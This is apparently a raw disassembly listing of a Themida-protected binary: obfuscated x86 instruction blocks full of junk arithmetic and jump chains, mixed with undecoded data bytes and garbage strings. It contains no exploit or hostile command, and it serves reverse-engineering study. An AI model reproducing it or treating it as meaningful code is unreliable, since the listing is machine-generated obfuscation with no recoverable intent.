		dd 63E9240Ch, 89000088h, 0F7E92424h, 0C0FFFFCCh, 0E58006EDh
		dd 6203E9A8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5643F6:				; CODE XREF: Themida_:0057298Bj
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_55E1C3
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	$+5
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		jmp	loc_570789
; ---------------------------------------------------------------------------
		dw 405h
		dd 5000000h, 4,	5C240487h, 0C1FCC681h, 0F289810Eh, 8324348Bh
		dd 0EB8104C4h, 23786886h, 0C381D301h, 23786886h, 0FFE6D1E9h
		dd 242C89FFh, 516B02BDh, 246C297Dh, 2434FF04h, 0B75BE95Dh
		dd 34FFFFFFh, 2434FF24h, 8257E9h, 0E9C39D00h, 4123h, 0EA70E981h
		dd 6E9ED4Bh
		db 0B5h, 2 dup(0FFh)
byte_56448F	db 0FFh			; DATA XREF: Themida_:0055DDD4o
		dd 669D1C77h, 241CD259h, 9C01E99Ch, 5B66FFFFh, 34FFE828h
		dd 89515924h, 4C181E1h,	0E9000000h, 0FFFFADC6h,	0AE7DCCBBh
		dd 5BDF8924h, 1451F781h, 0EF812B36h, 0F986999h,	0E66D3B2Dh
		dd 7FB82D25h, 0F80149F0h, 2445E9h, 4BF00h, 0FA290000h
		dd 0BDCCE9h, 95459500h,	0FFC4E1E9h, 0E68956FFh,	4C681h
		dd 0C6810000h, 4, 0FFA090E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564501:				; CODE XREF: Themida_:0056EFBFj
		push	ebp
		push	77D53669h
		pop	ebp
		xor	edx, ebp
		pop	ebp
		or	edx, 52AA67DDh
		push	2753h
		mov	[esp], ecx
		push	edx
		mov	edx, 352C4C22h
		mov	ecx, 6DF574BCh
		jmp	loc_56C5F1
; ---------------------------------------------------------------------------
		db 0BAh, 4Dh, 6
		dd 0C281090Fh, 32C174ECh, 4A04EAC1h, 8103E2C1h,	18CFC6EAh
		dd 0E9D531A5h, 0FFFFBA05h, 3F1768h, 24148900h, 48E99C50h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564557:				; CODE XREF: Themida_:0055E562j
		mov	ebp, 676A4E87h
		add	ecx, 5FA302F8h
		add	ecx, ebp
		sub	ecx, 5FA302F8h
		pop	ebp
		xor	ecx, 66E15E5h
		shr	ecx, 7
		not	ecx
		not	ecx
		sub	ecx, 0B8AC74ACh
		xor	ebx, ecx
		jmp	loc_566AC6
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 11h
		dd 0F7304938h, 0C2814AD2h, 846931CBh, 3CE3E9h, 4C78300h
		dd 5C243C87h, 6AEDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5645A5:				; CODE XREF: Themida_:0057092Cj
		neg	esi
		shl	esi, 2
		xchg	edx, esi
		inc	edx
		xchg	edx, esi
		jmp	loc_56EE32
; ---------------------------------------------------------------------------
		dd 8904EC83h, 64E9243Ch, 5300000Fh, 4BBh, 5BD90100h, 5C240C87h
		dd 10E9FD86h, 56FFFFE7h, 0C681E689h, 4,	78E95255h, 50FFFFDAh
		dd 0F82DCBB8h, 27A53507h, 0E94029ABh, 0FFFF9C09h, 8BF00158h
		dd 5FE92434h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5645FF:				; CODE XREF: Themida_:005619F3j
		shl	ecx, 3
		xor	ecx, 5FB9DCBh
		jmp	loc_570F26
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 89h
		dd 12CEA1Eh, 89C781F7h,	5E2CEA1Eh, 3EE8F781h, 9CE96061h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564627:				; CODE XREF: Themida_:00560DDDj
		push	dword ptr [esp]
		jmp	loc_56EFC4
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4685550h, 0E9000000h, 1594h,	0CCE9454Dh, 5C00008Bh
		dd 81E38953h, 4C3h, 98E95100h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564653:				; CODE XREF: Themida_:0056CC82j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	1042h
		mov	[esp], edi
		mov	edi, 1
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6FDA3278h
		jmp	loc_562623
; ---------------------------------------------------------------------------
aIHegs		db '\‰<$¿]hegéÃ*',0
		dd 88EA8100h, 0E96C5947h, 27B6h
; ---------------------------------------------------------------------------


loc_564690:				; CODE XREF: Themida_:0056307Fj
		sub	edi, 1FF01D3Ch
		add	edi, eax
		add	edi, 1FF01D3Ch
		pop	eax
		jmp	loc_56F413
; ---------------------------------------------------------------------------


loc_5646A4:				; CODE XREF: Themida_:0056B698j
		push	esi
		mov	esi, 4
		add	ebp, 36A67A31h
		add	ebp, esi
		push	eax
		mov	eax, 36A67A31h
		sub	ebp, eax
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_569C24
; ---------------------------------------------------------------------------
		db 0B5h, 0ECh, 30h
		dd 0EB885BDDh, 66CBFE59h, 28AEB551h, 45966EBh, 51D8282Ch
		dd 0E8282CB5h, 83240C8Bh, 1C8B04C4h, 61986824h,	3C890000h
		dd 0E9E78924h, 3F0Bh
; ---------------------------------------------------------------------------


loc_56470C:				; CODE XREF: Themida_:0056D0DEj
		pop	ebp
		and	ecx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 6
		push	ebx
		jmp	loc_564E39
; ---------------------------------------------------------------------------


loc_564727:				; CODE XREF: Themida_:0056317Aj
		sub	edi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 22B23787h
		add	edi, ecx
		jmp	loc_564313
; ---------------------------------------------------------------------------
		db 68h
		dd 38E7h, 0BA241489h, 584271D4h, 15AD529h, 0D4C581F5h
		dd 81584271h, 362423EDh, 0AFEFE969h, 0C8B0000h,	4C48324h
		dd 1A66E9h
		db 0
; ---------------------------------------------------------------------------


loc_564765:				; CODE XREF: Themida_:00560C62j
		not	dword ptr [esp]
		jmp	loc_56C442
; ---------------------------------------------------------------------------
		db 68h,	0F2h, 27h
		dd 4890000h, 2474FF24h,	24048B04h, 4C481h, 48F0000h, 5415E924h
		dd 34890000h, 34FF5424h, 1AE95E24h, 0BF00002Fh,	47D0017Ch
		dd 5120C781h, 7DE95C83h, 81000083h, 14B57C1h, 8DC1815Ah
		dd 81792F4Ah, 951222C1h, 7C18103h, 8B27343Ch, 7EE9241Ch
		db 1Eh,	2 dup(0)
byte_5647C7	db 0FFh			; DATA XREF: Themida_:0055DF4Co
a4Xhr9		db '4$Xhà9',0
		align 10h
		dd 89241C89h, 4EC83E3h,	0E9243C89h, 74ADh, 31241433h, 14332414h
		dd 24248B24h, 9C240401h, 0FF98AAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5647F5:				; CODE XREF: Themida_:0055ED07j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 186B6D51h
		jmp	loc_56A3DF
; ---------------------------------------------------------------------------
byte_56480D	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055DFC8o
		dd 0DF89E924h, 0C481FFFFh, 4, 4EC8352h,	0E9242489h, 0DB0Ah
		dd 81D3F74Bh, 0F8B71DF3h, 1D40E9EEh, 53660000h,	19D6E9h
		dd 1B800h, 0C5290000h, 1EDBE9h,	0CDBB5300h, 43754E77h
		dd 144AE9h, 4C48300h, 0BDB6E52Dh, 58C209F3h, 8105E2C1h
		dd 900C64C2h, 0C6D2E98Ah, 53550000h, 0E1A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_564875:				; CODE XREF: Themida_:0056979Cj
		add	ebp, ebx
		pop	ebx
		add	edi, ebp
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_565E15
; ---------------------------------------------------------------------------


loc_564886:				; CODE XREF: Themida_:00570070j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_55F500
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4C38300h, 8B241C87h, 89562424h, 8D80E9E6h, 2C890000h
		dd 64BF5724h, 8958FB06h, 0D5F75FFDh, 0FFA844E9h, 0E96204FFh
		dd 0D42Bh, 81E68956h, 4C6h, 4C68100h, 0E9000000h, 25B8h
		dd 5866E288h, 122268h, 24148900h, 4EC81h, 0ACE90000h, 56000066h
		dd 36146855h, 0BFE9306Bh, 29000081h, 5F04247Ch,	7690E959h
		db 2 dup(0)
word_56491A	dw 248Bh		; DATA XREF: Themida_:0055DF54o
		dd 977DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564922:				; CODE XREF: Themida_:0056FF78j
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5623DB
; ---------------------------------------------------------------------------


loc_56492E:				; CODE XREF: Themida_:0056E102j
		add	ebx, 65A16606h
		pop	ecx
		sub	ebx, edi
		add	ebx, 1B6693Ch
		push	edi
		mov	edi, 7EBF71B1h
		add	edi, 0B9AE9A4Eh
		sub	ebx, edi
		pop	edi
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_560E17
; ---------------------------------------------------------------------------


loc_56495F:				; CODE XREF: Themida_:0056A30Cj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		push	4B56h
		jmp	loc_55E26C
; ---------------------------------------------------------------------------
aAiSh		db '€ëÉéH',7,0
		align 4
		dd 0C781EF01h, 13BC7FEAh, 0DCBE565Dh, 81514103h, 4103DEF6h
		dd 0C427E951h, 0C181FFFFh, 4, 4F2EE9h, 48F5C00h, 24248B24h
		dd 240C8966h, 9A41E9h, 58C20100h, 6D876851h, 14890000h
		dd 3E026824h, 525A43A9h, 0F7241487h, 241487D2h,	2CBE565Ah
		dd 4E4EB919h, 77DEF681h, 0CE814922h, 55E25C97h,	4302C681h
		dd 9FE9645Bh
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5649F3:				; CODE XREF: Themida_:00567884j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5667D4
; ---------------------------------------------------------------------------
		dd 205BEA81h, 0C281313Dh, 45193C71h, 10DDF281h,	0C2813FDCh
		dd 6B62324Bh, 0ADBBC281h, 0D389607Dh, 0E924148Bh, 0FFFF9CD8h
		dd 0A133E958h, 99BE0000h, 56309936h, 0FFE95E59h, 590000DDh
		dd 0CB77E9h
		db 0
; ---------------------------------------------------------------------------


loc_564A45:				; CODE XREF: Themida_:005667A7j
		push	2FD0h
		mov	[esp], edi
		push	eax
		mov	eax, 4F9F4374h
		push	ebx
		mov	ebx, 13346A75h
		mov	edi, 0D65D6281h
		add	edi, 61ED47ACh
		sub	edi, ebx
		sub	edi, 61ED47ACh
		pop	ebx
		jmp	loc_560AA0
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 13F7h
; ---------------------------------------------------------------------------


loc_564A78:				; CODE XREF: Themida_:0056ECB3j
		shl	ecx, 4
		push	ebp
		mov	ebp, 6A3F717Bh
		jmp	loc_572577
; ---------------------------------------------------------------------------
		dw 5F5Fh
		dd 0AA05D801h, 814B293Ch, 4ECh,	242C8900h, 2E6EBA52h, 0E9560EF0h
		dd 3760h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_56AB3B
; ---------------------------------------------------------------------------
byte_564ABF	db 81h			; DATA XREF: Themida_:0055DE7Co
		dd 4ECh, 9EFFE900h, 1C310000h, 8F83E924h, 885C0000h, 2434FFFDh
		dd 50241C8Bh, 0F3E9E089h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564AE3:				; CODE XREF: Themida_:0056F489j
		mov	eax, 4D2C4462h
		jmp	loc_55F332
; ---------------------------------------------------------------------------


loc_564AED:				; CODE XREF: Themida_:005638EDj
		pop	esp
		jmp	loc_5710A6
; ---------------------------------------------------------------------------


loc_564AF3:				; CODE XREF: Themida_:005729F8j
		mov	edi, 4
		jmp	loc_56CBFA
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 56000000h, 0CF600FBEh, 5EEC150h, 0F4E9DEF7h,	58000091h
		dd 348BF031h, 0E2895224h, 4C281h, 2BE90000h, 5BFFFFCEh
		dd 0E904C483h, 7363h
; ---------------------------------------------------------------------------


loc_564B30:				; CODE XREF: Themida_:005636E3j
		pop	ebx
		and	edx, 72875B30h
		dec	edx
		sub	esp, 4
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		sub	edx, 0DFFEF4ECh
		add	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		dd 435BE1BFh, 0E9F88930h, 3DC5h, 7B35D0F7h, 81FFCDFFh
		dd 0A94649EFh, 81C70113h, 0A94649C7h, 5765E913h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564B8A:				; CODE XREF: Themida_:00565F01j
		pop	esp
		add	dword ptr [esp+4], 79C01A8Ah
		sub	[esp+4], ebx
		push	ebp
		mov	ebp, 79C01A8Ah
		sub	[esp+8], ebp
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
aShu9		db 'ShU9',0
		dw 0E900h
		dd 8478h, 0F13E0668h, 24348B7Eh, 6C55E9h, 0B9E95000h, 5500006Eh
		dd 22DEE9h, 0C3015B00h,	8124048Bh, 4C4h, 241C8700h, 6624248Bh
		dd 6824048Bh, 0C73h, 0E9243C89h, 0FFFFAF6Ch, 0F92FE952h
		dd 0E95EFFFFh, 0B398h, 57C18141h, 0E9710A51h, 0FFFFA696h
		dd 582434FFh, 8704C483h, 92E9243Ch
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564C1B:				; CODE XREF: Themida_:00572403j
		sub	esi, 10C26464h
		xor	esi, 3F757127h
		inc	esi
		sub	esi, 23C94BACh
		push	eax
		mov	eax, 0D207E58Ah
		sub	esi, eax
		push	dword ptr [esp]
		jmp	loc_56EC95
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 0C152ED35h, 0EA8102EAh, 0EFD435B9h, 8B5AD131h, 0C4832414h
		dd 5FF90104h, 4244C31h,	592434FFh, 0E9E18951h, 0B493h
		dd 4C481h, 51560000h, 0AB2C11B9h, 6E9C131h, 273AE956h
		dd 0EBC10000h, 28EB8103h, 81321B57h, 0E9EC18C3h, 0E9DF0116h
		dd 18A7h, 0DC43EB81h, 5BE9F92Bh
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_564C9F:				; CODE XREF: Themida_:00571F6Ej
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56B217
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8952240Ch, 4BE56E2h,	1000000h, 72E95EF2h, 0B9000068h
		dd 596D0D00h, 0DC05E9h,	24348B00h, 4C481h, 0C4830000h
		dd 0F4C18104h, 1FDEFBDh, 0B847E9CAh, 0E3890000h, 4C381h
		dd 0C3810000h, 4, 5C241C87h, 81E28952h,	4C2h, 4C28300h
		dd 5C241487h, 8124048Bh, 4C4h, 0B1E95100h, 800000B6h, 0EB8089E3h
		dd 0FC52E950h, 34FFFFFFh, 2434FF24h, 99B4E958h
		db 2 dup(0FFh)
word_564D36	dw 8B66h		; DATA XREF: Themida_:0055DE44o
		dd 8DE9240Ch
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564D3F:				; CODE XREF: Themida_:0055E649j
		add	edx, 48DDD2BBh
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, 3D1446EFh
		add	esi, ebp
		sub	esi, 3D1446EFh
		pop	ebp
		push	ecx
		mov	ecx, 67762926h
		shr	ecx, 3
		push	ebp
		mov	ebp, 1
		sub	ecx, ebp
		pop	ebp
		xor	ecx, 2D5E3C59h
		push	ecx
		xchg	edx, [esp]
		not	edx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		shl	ecx, 2
		xor	ecx, 793C1A10h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp


loc_564D9F:				; CODE XREF: Themida_:00563B45j
		push	edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_56C404
; ---------------------------------------------------------------------------
		db 52h,	0FFh, 74h
		dd 8F5A0424h, 15C2404h,	241C8BDEh, 81E28952h, 4C2h, 9FA4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564DCA:				; CODE XREF: Themida_:00563C78j
		pop	eax
		push	5B0Eh
		mov	[esp], edx
		push	edi
		mov	edi, 7FA67874h
		sub	[esp+4], edi
		mov	edi, [esp]
		jmp	loc_5728F2
; ---------------------------------------------------------------------------


loc_564DE5:				; CODE XREF: Themida_:005676D3j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56BCCF
; ---------------------------------------------------------------------------


loc_564DF7:				; CODE XREF: Themida_:005724B7j
		dec	edi
		not	edi
		xor	edi, ecx
		jmp	loc_56D6CB
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 2
		dd 71CFF381h, 0D9893F52h, 0E789575Bh, 0FFCF72E9h, 241C33FFh
		dd 0E9241C31h, 5C69h
aN1S		db '­1Øé>(',0           ; DATA XREF: Themida_:0055DDE4o
		align 4
dword_564E28	dd 24048B66h, 19DA68h, 242C8900h, 0FFE310E9h ; DATA XREF: Themida_:0055DDC0o
		db 0FFh
; ---------------------------------------------------------------------------


loc_564E39:				; CODE XREF: Themida_:00564722j
		push	7D71h
		mov	[esp], eax
		mov	eax, 10D2297Dh
		jmp	loc_56F480
; ---------------------------------------------------------------------------
aQsR		db 'Qé±r',0
		dd 4EC8300h, 83242489h,	59042404h, 4C181h, 83E90000h
		db 2, 2	dup(0)
byte_564E67	db 0FFh			; DATA XREF: Themida_:0055DE60o
		dd 669D1C77h, 4196658h,	28E99C24h, 8BFFFF92h, 0CC682424h
		dd 89000017h, 0E9542414h, 0FFFFDAA2h
; ---------------------------------------------------------------------------


loc_564E88:				; CODE XREF: Themida_:00569895j
		add	edx, 4
		jmp	loc_5660B9
; ---------------------------------------------------------------------------
		db 1
		dd 0D6295FFAh, 8668555Ah, 8B249973h, 0C481242Ch, 4, 6B46B850h
		dd 0C521547Ah, 4BB7E9h
		db 0
; ---------------------------------------------------------------------------


loc_564EB5:				; CODE XREF: Themida_:00563ED7j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56EC5D
; ---------------------------------------------------------------------------


loc_564EC6:				; CODE XREF: Themida_:0056972Fj
		push	39613CC5h
		jmp	loc_568036
; ---------------------------------------------------------------------------
		dd 61B6EF81h, 0FB89741Bh, 6FBD555Fh, 816F4477h,	64759BC2h
		dd 81EA296Dh, 64759BEAh, 86E95D6Dh, 590000A8h, 4B850h
		dd 0BD550000h, 7E575C72h, 0FFC676E9h
		db 0FFh
byte_564F05	db 8Bh,	0Ch, 24h	; DATA XREF: Themida_:0055DE88o
		dd 0BC6EE9h, 5649BA00h,	0EB810844h, 3A3D0EB8h, 0C381D301h
		dd 3A3D0EB8h, 5BDE015Ah, 57241C8Bh, 0C781E789h,	4, 4C781h
		dd 0E9E90000h, 6600005Bh, 46D8C381h, 0FFDDD3E9h, 51E958FFh
		dd 5000044h, 63A82519h,	192DF801h, 5F63A825h, 44B2B951h
		dd 0E981296Ch, 296C44B0h, 3359C801h, 4312404h, 24043324h
		dd 0D224248Bh, 0E99C242Ch, 0FFFF9123h
; ---------------------------------------------------------------------------


loc_564F7C:				; CODE XREF: Themida_:0055E51Fj
		mov	ecx, [esp]
		jmp	loc_566F38
; ---------------------------------------------------------------------------


loc_564F84:				; CODE XREF: Themida_:0056980Fj
		push	edx
		jmp	loc_55FD70
; ---------------------------------------------------------------------------
		dw 8758h
		dd 505C240Ch, 0DB242C81h, 8B57BC20h, 0C483241Ch, 1CECE904h
		dd 15B0000h, 214B05C8h,	71686E13h, 8900003Eh, 0B850241Ch
		dd 324D7C0Eh, 2D58C389h, 38D83991h, 3BE9D801h, 8B0000A3h
		dd 0C4832434h, 2F5B6804h, 2C890000h, 51B6824h, 1C890000h
		dd 42E4BB24h, 0DD896137h, 50BF575Bh, 11AEB6Dh, 243C8BF8h
		dd 4C481h, 0E9530000h, 0FFFF9661h, 5E2434FFh, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 248B240Ch, 0CC6AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56501A:				; CODE XREF: Themida_:0056C975j
		add	edx, 3B8361ECh
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_566C3D
; ---------------------------------------------------------------------------
		dw 1489h
aS_7		db '$é',8,'~',0
		align 2


loc_56505A:				; CODE XREF: Themida_:00569D7Ej
		pop	edx
		jmp	loc_56A429
; ---------------------------------------------------------------------------


loc_565060:				; CODE XREF: Themida_:0057198Dj
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		push	66F10679h
		pop	ecx
		push	ecx
		xor	dword ptr [esp], 1A08316Ah
		pop	edi
		jmp	loc_561463
; ---------------------------------------------------------------------------
		dd 81240C89h, 4ECh, 24348900h, 671EA9BEh, 0FFEE8371h, 58A3EE81h
		dd 8DE90C55h, 0BD00005Bh, 673633C9h, 4A2BE9h, 93EE8100h
		dd 810BA858h, 707295C6h, 81DE0130h, 707295EEh, 55BB5330h
		dd 0C11B2012h, 0E95203EBh, 0FFFFFE41h, 1C8BDA08h, 4C48124h
		dd 80000000h, 8850E2EAh, 0E9C788D0h, 9B7Fh
; ---------------------------------------------------------------------------


loc_5650E4:				; CODE XREF: Themida_:00566988j
		pop	ebp
		jmp	loc_56121E
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 3BD768h, 243C8900h, 26AA568h, 0C5DEE97Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565102:				; CODE XREF: Themida_:0056DF4Cj
		mov	eax, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_56407E
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 3676E905h, 2C890000h, 0D7A0E924h, 0E957FFFFh, 0FFFFE3E5h
; ---------------------------------------------------------------------------


loc_56512C:				; CODE XREF: Themida_:0056072Dj
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3B26134Ch
		neg	edi
		inc	edi
		shl	edi, 8
		push	esi
		mov	esi, 6C14659Eh
		xor	edi, esi
		pop	esi
		push	esi
		mov	esi, 78365A75h
		jmp	loc_56438C
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 247E2F23h, 97BE565Ah, 1118670h, 0C8015EF0h, 8670972Dh
		dd 0AF5E911h, 0C0830000h, 63E4E904h, 815D0000h,	4C4h, 81E5D100h
		dd 0A90A5ECDh, 81E5D103h, 0C86181EDh, 0E9EE219Eh, 0FFFFC02Eh
		dd 5A2434FFh, 5604C483h, 0B850E689h, 4,	5AACC681h, 0C6013F89h
		dd 8F03E952h, 14870000h, 0C5815C24h, 4,	3302C583h, 2C31242Ch
		dd 242C3324h, 6624248Bh, 6824048Bh, 5A27h, 0E9241489h
		dd 0FFFFEBD6h, 0D9E9F529h
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5651E3:				; CODE XREF: Themida_:00569BDFj
		pop	esi
		dec	edx
		dec	edx
		jmp	loc_565A7F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815A2434h, 4C4h, 0BCCDE900h,	0D889FFFFh, 71BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_565201:				; CODE XREF: Themida_:00560E62j
		mov	ecx, 786B3EDDh
		jmp	loc_561A7A
; ---------------------------------------------------------------------------


loc_56520B:				; CODE XREF: Themida_:0056356Aj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		jmp	loc_566BE7
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0D107E3C1h, 8BF57EBh, 96C2D5Ah, 5260E9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56523E:				; CODE XREF: Themida_:00566717j
		push	ebp
		mov	ebp, 371422D0h
		mov	ecx, ebp
		jmp	loc_5692B3
; ---------------------------------------------------------------------------
byte_56524B	db 66h			; DATA XREF: Themida_:0055E008o
		dd 68240C8Bh, 66FEh, 68240489h,	759Fh, 0CB5FE9h, 4C68100h
		dd 81000000h, 4C6h, 24348700h, 0FFC526E9h, 8BC101FFh, 0C4812404h
		dd 4, 4E0568h, 24048900h, 468h,	0C1015800h, 0FFFCF5E9h
		dd 0E9C801FFh, 635Bh, 24048F5Ah, 599FE9h, 0C5E95900h, 8BFFFFF8h
		dd 0DAE9242Ch, 0BD0000C3h, 8235A2Dh, 15DEE01h, 0D523E9C6h
		dd 4C680000h, 8900007Fh, 0C4E9240Ch, 5A000005h,	0E9240C87h
		dd 2035h, 0C15DEE21h, 0C68104EEh, 4B730768h, 7FAAE9h, 0D5895500h
		dd 0FB0E956h, 0E95D0000h, 0FBAh
; ---------------------------------------------------------------------------


loc_5652F8:				; CODE XREF: Themida_:0055F8BDj
		mov	ebx, [esp]
		add	esp, 4
		dec	eax
		add	eax, 11F30858h
		push	ecx
		mov	ecx, 31EF3831h
		or	eax, ecx
		jmp	loc_56C95A
; ---------------------------------------------------------------------------


loc_565311:				; CODE XREF: Themida_:00572BBCj
		mov	eax, 8617C4F4h
		mov	ebx, eax
		jmp	loc_56CAE3
; ---------------------------------------------------------------------------
byte_56531D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055DFECo
		dd 5124048Bh, 12E9E189h, 5DFFFF95h, 6CEAC281h, 21E98C09h
		dd 8700004Dh, 895C240Ch, 90B02404h, 5058C328h, 6EBAE9h
		dd 76ED8100h, 9D4C65Fh,	0CBE95DEEh, 0BF0000D4h,	2F5406E2h
		dd 15FF929h, 0E2C181D1h, 812F5406h, 44A3DE9h, 0C8315A4Dh
		dd 4231E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565376:				; CODE XREF: Themida_:00563ACAj
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 25072A36h
		or	eax, 25503216h
		jmp	loc_569588
; ---------------------------------------------------------------------------
		dd 815FF929h, 0BA236EE9h, 0DDE98153h, 1776C56h,	0DDC181F9h
		dd 81776C56h, 0BA236EC1h, 4EC8353h, 0BE243489h,	428B4E32h
		dd 535EF101h, 0AEC0E9h,	0C4835C00h, 42D04h, 4330000h, 5CB8E924h
		dd 0BA520000h, 39D97956h, 6623E9h
		db 0
byte_5653DD	db 0ADh, 2Dh, 0E4h	; DATA XREF: Themida_:0055E04Co
		dd 5613742h, 9990B59h, 639DE9h,	4BA00h,	54010000h, 0FF5A0424h
		dd 83582434h, 0BF5704C4h, 4, 2294E9h
		db 0
; ---------------------------------------------------------------------------


loc_565409:				; CODE XREF: Themida_:00561A28j
		sub	dword ptr [esp], 1F673736h
		mov	ecx, [esp]
		jmp	loc_55F3A9
; ---------------------------------------------------------------------------
		dd 0C331D831h, 0D3F7D831h, 0C331D831h, 0E8C1D831h, 1A000506h
		dd 0C101FCCDh, 0E92434FFh, 0AAD3h
; ---------------------------------------------------------------------------


loc_565438:				; CODE XREF: Themida_:0056BE86j
		push	592Ch
		mov	[esp], ecx
		jmp	loc_56049F
; ---------------------------------------------------------------------------


loc_565445:				; CODE XREF: Themida_:00568435j
		mov	[esp], ebp
		add	dword ptr [esp], 3BDB1831h
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4C342ACh
		and	ebp, 64712AD0h
		add	ebp, 5B341F9Fh
		dec	ebp
		xor	ebp, 64AE3A2Fh
		sub	ecx, 43F93489h
		sub	ecx, ebp
		add	ecx, 43F93489h
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56F6E7
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 2722E9h
		db 0
; ---------------------------------------------------------------------------


loc_56549D:				; CODE XREF: Themida_:0056801Dj
		mov	edx, edi
		pop	edi
		shl	edx, 3
		jmp	loc_55EDAD
; ---------------------------------------------------------------------------
